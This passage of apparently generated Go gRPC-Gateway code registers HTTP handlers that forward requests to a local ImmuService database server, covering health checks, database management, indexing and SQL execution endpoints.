stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ImmuService_Health_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"GET\", pattern_ImmuService_DatabaseHealth_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_ImmuService_DatabaseHealth_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ImmuService_DatabaseHealth_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"GET\", pattern_ImmuService_CurrentState_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_ImmuService_CurrentState_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ImmuService_CurrentState_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_ImmuService_SetReference_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_ImmuService_SetReference_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ImmuService_SetReference_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_ImmuService_VerifiableSetReference_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_ImmuService_VerifiableSetReference_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ImmuService_VerifiableSetReference_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_ImmuService_ZAdd_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_ImmuService_ZAdd_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ImmuService_ZAdd_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_ImmuService_VerifiableZAdd_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_ImmuService_VerifiableZAdd_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ImmuService_VerifiableZAdd_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_ImmuService_ZScan_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_ImmuService_ZScan_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ImmuService_ZScan_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_ImmuService_CreateDatabase_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_ImmuService_CreateDatabase_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ImmuService_CreateDatabase_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_ImmuService_CreateDatabaseWith_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_ImmuService_CreateDatabaseWith_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ImmuService_CreateDatabaseWith_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_ImmuService_CreateDatabaseV2_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_ImmuService_CreateDatabaseV2_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ImmuService_CreateDatabaseV2_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_ImmuService_LoadDatabase_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_ImmuService_LoadDatabase_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ImmuService_LoadDatabase_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_ImmuService_UnloadDatabase_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_ImmuService_UnloadDatabase_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ImmuService_UnloadDatabase_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_ImmuService_DeleteDatabase_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_ImmuService_DeleteDatabase_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ImmuService_DeleteDatabase_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_ImmuService_DatabaseList_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_ImmuService_DatabaseList_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ImmuService_DatabaseList_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_ImmuService_DatabaseListV2_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_ImmuService_DatabaseListV2_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ImmuService_DatabaseListV2_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"GET\", pattern_ImmuService_UseDatabase_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_ImmuService_UseDatabase_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ImmuService_UseDatabase_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_ImmuService_UpdateDatabase_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_ImmuService_UpdateDatabase_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ImmuService_UpdateDatabase_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_ImmuService_UpdateDatabaseV2_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_ImmuService_UpdateDatabaseV2_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ImmuService_UpdateDatabaseV2_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_ImmuService_GetDatabaseSettings_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_ImmuService_GetDatabaseSettings_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ImmuService_GetDatabaseSettings_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_ImmuService_GetDatabaseSettingsV2_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_ImmuService_GetDatabaseSettingsV2_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ImmuService_GetDatabaseSettingsV2_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"GET\", pattern_ImmuService_FlushIndex_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_ImmuService_FlushIndex_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ImmuService_FlushIndex_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"GET\", pattern_ImmuService_CompactIndex_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_ImmuService_CompactIndex_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ImmuService_CompactIndex_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_ImmuService_SQLExec_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_ImmuService_SQLExec_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ImmuService_SQLExec_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_ImmuService_UnarySQLQuery_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_ImmuService_UnarySQLQuery_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ImmuService_UnarySQLQuery_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_ImmuService_SQLQuery_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\terr := status.Error(codes.Unimplemented, 